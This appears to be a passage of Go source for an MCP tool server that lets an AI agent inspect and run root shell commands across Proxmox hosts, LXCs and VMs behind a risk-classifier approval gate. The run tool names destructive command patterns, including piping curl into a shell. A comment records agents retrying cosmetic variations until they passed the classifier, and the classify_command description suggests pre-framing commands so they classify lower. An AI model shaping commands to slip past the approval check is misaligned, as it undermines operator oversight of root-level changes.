if source == "" || target == "" || relType == "" {
|
||||||
|
return textResult("error: source, target, and type are required"), nil
|
||||||
|
}
|
||||||
|
var sourceID, targetID uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", source).Scan(&sourceID); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: source entity %q not found", source)), nil
|
||||||
|
}
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", target).Scan(&targetID); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: target entity %q not found", target)), nil
|
||||||
|
}
|
||||||
|
_, err := pool.Exec(ctx, `
|
||||||
|
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
SELECT $1, $2, $3, '{"by":"nomos"}'::jsonb, now()
|
||||||
|
WHERE NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships
|
||||||
|
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL)`,
|
||||||
|
sourceID, targetID, relType)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error creating relationship: %v (is %q a valid relationship type?)", err, relType)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Recorded: %s —%s→ %s", source, relType, target)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "query_metrics", Description: "Query time-series metrics",
|
||||||
|
InputSchema: objSchema(prop{"hours", "integer", "Look-back window in hours (default 24)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
hours := int(getFloat(args, "hours", 24))
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT time_bucket('1 hour', ts) AS bucket,
|
||||||
|
entity_id::text, metric,
|
||||||
|
ROUND(avg(value)::numeric, 2) AS avg,
|
||||||
|
ROUND(min(value)::numeric, 2) AS min,
|
||||||
|
ROUND(max(value)::numeric, 2) AS max
|
||||||
|
FROM metric_samples
|
||||||
|
WHERE ts > now() - make_interval(hours => $1)
|
||||||
|
GROUP BY bucket, entity_id, metric
|
||||||
|
ORDER BY bucket DESC LIMIT 100`, hours), "metric_chart"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// ─── Phase 4: new tools ──────────────────────────────────────────
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_signal_history", Description: "Query open and recent signals",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_slug", "string", "Filter by target entity slug"},
|
||||||
|
prop{"state", "string", "Filter by signal state (raised, resolved)"},
|
||||||
|
prop{"limit", "integer", "Max rows (default 50)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
limit := int(getFloat(args, "limit", 50))
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT s.entity_id::text, s.kind, s.severity, s.state,
|
||||||
|
s.occurrence_count, e.slug AS target_slug,
|
||||||
|
s.first_seen_at, s.last_seen_at
|
||||||
|
FROM signals s
|
||||||
|
LEFT JOIN entities e ON e.id = s.target_entity_id
|
||||||
|
WHERE ($1::text IS NULL OR e.slug = $1)
|
||||||
|
AND ($2::text IS NULL OR s.state = $2)
|
||||||
|
ORDER BY s.last_seen_at DESC LIMIT $3`,
|
||||||
|
nStr(args["entity_slug"]), nStr(args["state"]), limit), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_patterns", Description: "List learned action patterns",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"status", "string", "Filter by status (hypothesized, validated, active)"},
|
||||||
|
prop{"entity_type", "string", "Filter by applies_type"},
|
||||||
|
prop{"action", "string", "Filter by action"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT p.entity_id::text, p.applies_type, p.action, p.pattern,
|
||||||
|
p.confidence, p.evidence_count, p.success_count, p.failure_count,
|
||||||
|
p.status, p.quarantined, p.version, p.last_validated_at
|
||||||
|
FROM patterns p
|
||||||
|
WHERE ($1::text IS NULL OR p.status = $1)
|
||||||
|
AND ($2::text IS NULL OR p.applies_type = $2)
|
||||||
|
AND ($3::text IS NULL OR p.action = $3)
|
||||||
|
ORDER BY p.applies_type, p.action`,
|
||||||
|
nStr(args["status"]), nStr(args["entity_type"]), nStr(args["action"])), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_skills", Description: "List available automation skills",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"status", "string", "Filter by status (active, inactive, deprecated)"},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT s.entity_id::text, s.version, s.name, LEFT(s.procedure::text, 300) AS procedure_preview,
|
||||||
|
s.applies_type, s.action, s.status, s.success_rate,
|
||||||
|
s.changed_by::text, s.change_reason, s.last_used_at
|
||||||
|
FROM skills s
|
||||||
|
WHERE ($1::text IS NULL OR s.status = $1)
|
||||||
|
ORDER BY s.name, s.version DESC`,
|
||||||
|
nStr(args["status"])), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// ── request_execution (legacy fixed enum) retired 2026-07-14 ──
|
||||||
|
// All mutations now route through `run`. The handler functions
|
||||||
|
// (runRexecRestart, runRexecSystemctl, etc.) are kept as reference
|
||||||
|
// for future runbook extraction — especially pct_create DNS/VMID logic.
|
||||||
|
// DO NOT re-register this tool. See plans/2026-07-10-general-gated-execution.md.
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "run", Description: "Run ANY shell command against any host, LXC, or VM. This is the general execution primitive — prefer it over asking the operator to run something manually, and don't wait for a matching fixed action to exist. Every command is automatically risk-classified: read-only inspection (cat, systemctl status, docker ps, journalctl, df, git status, ...) runs immediately; anything that changes state requires operator approval (granted by the operator replying \"go ahead\"/\"yes\" in chat, or via the Approve button); commands matching a destructive pattern (rm -rf, dd, mkfs, pct/qm destroy, DROP TABLE, reboot, piping curl into a shell, ...) always require approval regardless of what you declare. You cannot talk your way past the destructive check by declaring a lower risk.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"target", "string", "Target entity slug: host:<slug> (e.g. host:strong), lxc:<slug> (e.g. lxc:caddy), or vm:<slug> (e.g. vm:zimaos). LXC commands run via pct exec on their Proxmox host automatically. VM commands run via qm guest exec on their Proxmox host (requires the QEMU guest agent inside the VM — standard for Proxmox VMs)."},
|
||||||
|
prop{"command", "string", "The shell command to run. Can be a full script (multi-line, &&-chained). Runs as root."},
|
||||||
|
prop{"purpose", "string", "One sentence: why you're running this. Shown to the operator alongside the approval — be specific, this is what they're approving."},
|
||||||
|
prop{"declared_risk", "string", "Optional self-assessment: read_only, reversible_low, config_mutation, or destructive. This can only ESCALATE the automatic classification, never lower it — declaring a mutating command as read_only has no effect."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
targetSlug, _ := args["target"].(string)
|
||||||
|
command, _ := args["command"].(string)
|
||||||
|
purpose, _ := args["purpose"].(string)
|
||||||
|
declaredRisk, _ := args["declared_risk"].(string)
|
||||||
|
sessionID, _ := args["_session_id"].(string)
|
||||||
|
if targetSlug == "" || command == "" {
|
||||||
|
return textResult("error: target and command are required"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var targetID uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&targetID); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("target not found: %s", targetSlug)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return classifyAndGate(ctx, pool, agentID, targetID, targetSlug, command, purpose, declaredRisk, sessionID), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// inspect_path is the bulk fact-gathering tool from
|
||||||
|
// plans/2026-07-18-session-review-three-sessions.md P1.5.
|
||||||
|
// Sessions 1e9c7691 and 55927f0a each spent ~15 `run` calls
|
||||||
|
// gathering identical facts (`mount | grep`, `df`, `ls -la`,
|
||||||
|
// `stat`) across hosts and LXCs to understand where a path
|
||||||
|
// lives, who mounts it, and what permissions it has. This tool
|
||||||
|
// collapses that fan-out into one call: pass a path and a list
|
||||||
|
// of targets, get back per-target mount/df/ls/stat output as
|
||||||
|
// JSON. All commands are read-only, so no approval is needed.
|
||||||
|
{tool: &mcp.Tool{Name: "inspect_path", Description: "Bulk fact-gathering: run mount/df/ls/stat for the same path across multiple host/LXC/VM targets in ONE call. Returns a JSON object keyed by target slug, each with the target's view of the path (mount source, filesystem, size, top-level entries with ownership/permissions). Use this instead of N separate `run` calls when you need to understand a path's footprint across the fleet (e.g. tracing where a volume is mounted, checking permissions on the same NFS path from server + client). All commands are read-only — no approval needed.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"path", "string", "Absolute path to inspect on each target (e.g. /mnt/media_local, /media/ludo-library)."},
|
||||||
|
prop{"targets", "array", "List of target entity slugs (host:strong, lxc:nfs-export, vm:zimaos, …). Up to 8 per call."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
path, _ := args["path"].(string)
|
||||||
|
if path == "" {
|
||||||
|
return textResult("error: path is required"), nil
|
||||||
|
}
|
||||||
|
rawTargets, _ := args["targets"].([]any)
|
||||||
|
if len(rawTargets) == 0 {
|
||||||
|
return textResult("error: at least one target is required"), nil
|
||||||
|
}
|
||||||
|
if len(rawTargets) > 8 {
|
||||||
|
return textResult("error: at most 8 targets per inspect_path call (use two calls if you need more)"), nil
|
||||||
|
}
|
||||||
|
targets := make([]string, 0, len(rawTargets))
|
||||||
|
for _, t := range rawTargets {
|
||||||
|
if s, ok := t.(string); ok && s != "" {
|
||||||
|
targets = append(targets, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results := inspectPathAcrossTargets(ctx, pool, path, targets)
|
||||||
|
out, _ := json.MarshalIndent(results, "", " ")
|
||||||
|
return textResult(string(out)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "http_get", Description: "Fetch a public web page or raw file (e.g. a GitHub README/raw URL) and return sanitized text. Use this to research how to deploy a service before provisioning. HTTP/HTTPS only; body is truncated to ~16KB.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"url", "string", "Absolute http(s) URL to fetch"},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
rawURL, _ := args["url"].(string)
|
||||||
|
return httpGet(ctx, rawURL), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_execution_status", Description: "Check the status of a requested execution",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"execution_id", "string", "Execution UUID (from request_execution output)"},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
execID, _ := args["execution_id"].(string)
|
||||||
|
if execID == "" {
|
||||||
|
return textResult("execution_id required"), nil
|
||||||
|
}
|
||||||
|
eid, err := uuid.Parse(execID)
|
||||||
|
if err != nil {
|
||||||
|
// Try finding by exec slug prefix
|
||||||
|
var found uuid.UUID
|
||||||
|
err2 := pool.QueryRow(ctx, "SELECT entity_id FROM executions WHERE entity_id::text LIKE $1 LIMIT 1", execID+"%").Scan(&found)
|
||||||
|
if err2 != nil {
|
||||||
|
return textResult(fmt.Sprintf("execution not found: %s", execID)), nil
|
||||||
|
}
|
||||||
|
eid = found
|
||||||
|
}
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT e.entity_id::text, e.action, e.risk_class, e.status,
|
||||||
|
e.result::text, e.duration_ms, e.started_at::text,
|
||||||
|
e.completed_at::text, e.correlation_id
|
||||||
|
FROM executions e
|
||||||
|
WHERE e.entity_id = $1`, eid), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_trend", Description: "Get metric trends for an entity",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_id", "string", "Entity slug"},
|
||||||
|
prop{"days", "integer", "Look-back window in days (default 7)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_id"].(string)
|
||||||
|
days := int(getFloat(args, "days", 7))
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT metric,
|
||||||
|
ROUND(avg(value)::numeric, 2) AS avg_val,
|
||||||
|
ROUND(stddev(value)::numeric, 2) AS std_val,
|
||||||
|
count(*) AS sample_count,
|
||||||
|
ROUND(regr_slope(value, EXTRACT(EPOCH FROM ts)::numeric)::numeric, 4) AS slope
|
||||||
|
FROM metric_samples ms
|
||||||
|
JOIN entities e ON e.id = ms.entity_id
|
||||||
|
WHERE e.slug = $1 AND ts >= now() - make_interval(days => $2)
|
||||||
|
GROUP BY metric
|
||||||
|
ORDER BY metric`, slug, days), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_event_timeline", Description: "Get recent events",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"severity", "string", "Filter by severity (info, warn, error)"},
|
||||||
|
prop{"entity_slug", "string", "Filter by entity slug"},
|
||||||
|
prop{"limit", "integer", "Max rows (default 50)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
limit := int(getFloat(args, "limit", 50))
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT ev.ts, ev.type, ev.severity, ev.source, e.slug AS entity_slug,
|
||||||
|
ev.data::text AS message, ev.correlation_id
|
||||||
|
FROM events ev
|
||||||
|
LEFT JOIN entities e ON e.id = ev.entity_id
|
||||||
|
WHERE ($1::text IS NULL OR ev.severity = $1)
|
||||||
|
AND ($2::text IS NULL OR e.slug = $2)
|
||||||
|
ORDER BY ev.ts DESC LIMIT $3`,
|
||||||
|
nStr(args["severity"]), nStr(args["entity_slug"]), limit), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_agent_activity", Description: "Agent self-inspection: query agent activity log",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"limit", "integer", "Max rows (default 50)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
limit := int(getFloat(args, "limit", 50))
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT id, ts, agent_id::text, session_id, activity_type, tool_name,
|
||||||
|
entity_id::text, left(input_summary, 200) AS input_summary,
|
||||||
|
left(output_summary, 200) AS output_summary,
|
||||||
|
duration_ms, token_count, success, correlation_id
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE agent_id = $1
|
||||||
|
ORDER BY ts DESC LIMIT $2`, agentID, limit), "change_log"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// ─── Phase 5: operational MCP tools ──────────────────────────────
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_lxcs", Description: "List all LXC containers with ID, host, IP, state, and last-audited hint. Pass state=\"active\" to exclude destroyed/deprecated containers. The last_audited_at column shows the most recent knowledge entry (investigation or document tagged audit/update) linked via an 'about' edge — use it to skip re-running `run` against LXCs that were already audited recently.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"state", "string", "Optional: filter by entity state (active, destroyed, …)"},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
state, _ := argsMap(req)["state"].(string)
|
||||||
|
var statePtr *string
|
||||||
|
if state != "" {
|
||||||
|
statePtr = &state
|
||||||
|
}
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.name, e.attributes->>'pve_id' AS pve_id,
|
||||||
|
e.attributes->>'lan_ip' AS lan_ip,
|
||||||
|
e.state,
|
||||||
|
st.health, st.last_check_at,
|
||||||
|
(SELECT MAX(k.created_at)
|
||||||
|
FROM relationships r
|
||||||
|
JOIN knowledge_entities k ON k.entity_id = r.source_id
|
||||||
|
WHERE r.target_id = e.id
|
||||||
|
AND r.type = 'about'
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND (k.tags @> ARRAY['audit']::text[]
|
||||||
|
OR k.tags @> ARRAY['update']::text[]
|
||||||
|
OR k.title ILIKE '%audit%'
|
||||||
|
OR k.title ILIKE '%update%')
|
||||||
|
) AS last_audited_at
|
||||||
|
FROM entities e
|
||||||
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
|
WHERE e.type = 'lxc'
|
||||||
|
AND ($1::text IS NULL OR e.state = $1)
|
||||||
|
ORDER BY CASE WHEN e.state = 'active' THEN 0 ELSE 1 END,
|
||||||
|
(e.attributes->>'pve_id')::int`, statePtr), "lxc_list"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "ping_service", Description: "Check if a service is reachable via HTTP",
|
||||||
|
InputSchema: objSchema(prop{"service_slug", "string", "Service entity slug"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["service_slug"].(string)
|
||||||
|
if slug == "" {
|
||||||
|
return textResult("service_slug is required"), nil
|
||||||
|
}
|
||||||
|
rows, err := pool.Query(ctx, `
|
||||||
|
SELECT st.health, st.last_check_at, e.attributes->>'url' AS url
|
||||||
|
FROM entity_status st
|
||||||
|
JOIN entities e ON e.id = st.entity_id
|
||||||
|
WHERE e.slug = $1`, slug)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("query error: %v", err)), nil
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
if !rows.Next() {
|
||||||
|
return textResult(fmt.Sprintf("service not found: %s", slug)), nil
|
||||||
|
}
|
||||||
|
var health, lastCheck, url string
|
||||||
|
rows.Scan(&health, &lastCheck, &url)
|
||||||
|
if url == "" {
|
||||||
|
url = "(no URL in entity attributes)"
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("health=%s last_check=%s url=%s", health, lastCheck, url)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "tail_log", Description: "Get recent log lines from a service via journalctl",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"service_slug", "string", "Service entity slug (e.g. lxc:caddy)"},
|
||||||
|
prop{"lines", "integer", "Number of lines (default 50)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["service_slug"].(string)
|
||||||
|
n := int(getFloat(args, "lines", 50))
|
||||||
|
if slug == "" {
|
||||||
|
return textResult("service_slug is required"), nil
|
||||||
|
}
|
||||||
|
host, user, err := resolveHost(ctx, pool, slug)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
||||||
|
}
|
||||||
|
svc := strings.TrimPrefix(slug, "lxc:")
|
||||||
|
out, err := sshExec(ctx, host, user, fmt.Sprintf("journalctl -u %s -n %d --no-pager 2>&1 || true", svc, n))
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
||||||
|
}
|
||||||
|
return textResult(out), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_service_status", Description: "Check systemd service status on a host",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"service_slug", "string", "Service entity slug (e.g. lxc:caddy)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["service_slug"].(string)
|
||||||
|
if slug == "" {
|
||||||
|
return textResult("service_slug is required"), nil
|
||||||
|
}
|
||||||
|
host, user, err := resolveHost(ctx, pool, slug)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
||||||
|
}
|
||||||
|
svc := strings.TrimPrefix(slug, "lxc:")
|
||||||
|
out, err := sshExec(ctx, host, user,
|
||||||
|
fmt.Sprintf("systemctl is-active %s; systemctl is-enabled %s; systemctl show %s -p ActiveEnterTimestamp -p SubState 2>&1 || true", svc, svc, svc))
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
||||||
|
}
|
||||||
|
return textResult(out), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_lxc_state", Description: "Get LXC container resource state from Proxmox host",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"lxc_slug", "string", "LXC entity slug (e.g. lxc:caddy)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["lxc_slug"].(string)
|
||||||
|
if slug == "" {
|
||||||
|
return textResult("lxc_slug is required"), nil
|
||||||
|
}
|
||||||
|
var pveID string
|
||||||
|
err := pool.QueryRow(ctx, "SELECT attributes->>'pve_id' FROM entities WHERE slug = $1", slug).Scan(&pveID)
|
||||||
|
if err != nil || pveID == "" {
|
||||||
|
return textResult(fmt.Sprintf("LXC not found or missing pve_id: %s", slug)), nil
|
||||||
|
}
|
||||||
|
// Resolve the Proxmox host — find the host that runs this LXC
|
||||||
|
var hostID uuid.UUID
|
||||||
|
err = pool.QueryRow(ctx, `
|
||||||
|
SELECT t.id FROM entities t
|
||||||
|
JOIN relationships r ON r.source_id = t.id
|
||||||
|
JOIN entities s ON s.id = r.target_id
|
||||||
|
WHERE s.slug = $1 AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||||
|
LIMIT 1`, slug).Scan(&hostID)
|
||||||
|
if err != nil {
|
||||||
|
// Fallback: use the inventory host attribute if no relationship
|
||||||
|
var hostSlug string
|
||||||
|
err = pool.QueryRow(ctx, "SELECT attributes->>'host' FROM entities WHERE slug = $1", slug).Scan(&hostSlug)
|
||||||
|
if err != nil || hostSlug == "" {
|
||||||
|
return textResult(fmt.Sprintf("cannot resolve Proxmox host for %s", slug)), nil
|
||||||
|
}
|
||||||
|
var host, user string
|
||||||
|
host, user, err = resolveHost(ctx, pool, "host:"+hostSlug)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("resolve: %v", err)), nil
|
||||||
|
}
|
||||||
|
out, err2 := sshExec(ctx, host, user, fmt.Sprintf("pct status %s --verbose 2>&1 || true", pveID))
|
||||||
|
if err2 != nil {
|
||||||
|
return textResult(fmt.Sprintf("ssh: %v", err2)), nil
|
||||||
|
}
|
||||||
|
return textResult(out), nil
|
||||||
|
}
|
||||||
|
var hostSlug string
|
||||||
|
pool.QueryRow(ctx, "SELECT slug FROM entities WHERE id = $1", hostID).Scan(&hostSlug)
|
||||||
|
host, user, err := resolveHost(ctx, pool, hostSlug)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
||||||
|
}
|
||||||
|
out, err := sshExec(ctx, host, user, fmt.Sprintf("pct status %s --verbose 2>&1 || true", pveID))
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
||||||
|
}
|
||||||
|
return textResult(out), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// ─── Client introspection tools (plan: client-lifecycle Phase 3) ──
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "whoami", Description: "Get the current entity record, peers, and health for a host",
|
||||||
|
InputSchema: objSchema(prop{"hostname", "string", "Hostname of the calling machine"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
hostname, _ := args["hostname"].(string)
|
||||||
|
if hostname == "" {
|
||||||
|
return textResult("error: hostname required"), nil
|
||||||
|
}
|
||||||
|
slug := "ws:" + hostname
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.name, e.state,
|
||||||
|
COALESCE(st.health, 'unknown') AS health,
|
||||||
|
COALESCE(st.last_check_at::text, '') AS last_check,
|
||||||
|
e.attributes->>'mesh_ip' AS mesh_ip,
|
||||||
|
e.attributes->>'age_pubkey' AS age_pubkey,
|
||||||
|
e.enrolled_at
|
||||||
|
FROM entities e
|
||||||
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
|
WHERE e.slug = $1
|
||||||
|
ORDER BY e.slug`, slug), "entity_card"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "explain", Description: "Compact context card for a service: type, state, health, relations, risk",
|
||||||
|
InputSchema: objSchema(prop{"service_slug", "string", "Service entity slug (e.g. service:jellyfin, lxc:caddy)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["service_slug"].(string)
|
||||||
|
if slug == "" {
|
||||||
|
return textResult("error: service_slug required"), nil
|
||||||
|
}
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.name, e.state,
|
||||||
|
COALESCE(st.health, 'unknown') AS health,
|
||||||
|
COALESCE(st.last_check_at::text, '') AS last_check,
|
||||||
|
e.version, e.updated_at,
|
||||||
|
COALESCE(e.attributes::text, '{}') AS attrs
|
||||||
|
FROM entities e
|
||||||
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
|
WHERE e.slug = $1`, slug), "entity_card"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "preflight", Description: "Risk classification for an action on a service",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"service_slug", "string", "Entity slug"},
|
||||||
|
prop{"action", "string", "Planned action (restart, deploy, destroy, etc.)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["service_slug"].(string)
|
||||||
|
action, _ := args["action"].(string)
|
||||||
|
if slug == "" || action == "" {
|
||||||
|
return textResult("error: service_slug and action required"), nil
|
||||||
|
}
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.state,
|
||||||
|
CASE
|
||||||
|
WHEN $2 IN ('restart', 'logs', 'status') THEN 'reversible_low'
|
||||||
|
WHEN $2 IN ('deploy', 'upgrade', 'configure') THEN 'config_mutation'
|
||||||
|
WHEN $2 IN ('destroy', 'wipe', 'revoke') THEN 'destructive'
|
||||||
|
ELSE 'read_only'
|
||||||
|
END AS risk_class,
|
||||||
|
CASE
|
||||||
|
WHEN $2 IN ('read_only','reversible_low') THEN 'auto-act'
|
||||||
|
WHEN $2 = 'config_mutation' THEN 'operator-approval'
|
||||||
|
ELSE 'operator-approval+confirmation'
|
||||||
|
END AS approval
|
||||||
|
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// classify_command is the command-scoped preflight from
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
|
||||||
|
// existing `preflight` tool is entity/action-scoped — useless when
|
||||||
|
// the agent is composing a `run` command and needs to know whether
|
||||||
|
// the classifier will accept it before submitting. Without this,
|
||||||
|
// the agent has to retry with cosmetic variations until it finds
|
||||||
|
// one that passes (see sessions a51e2086, 8acea2e3 — three
|
||||||
|
// duplicate rclone sessions, all bouncing off the classifier).
|
||||||
|
// Call this BEFORE `run` whenever the classification is uncertain.
|
||||||
|
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"command", "string", "The exact shell command you intend to pass to run."},
|
||||||
|
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
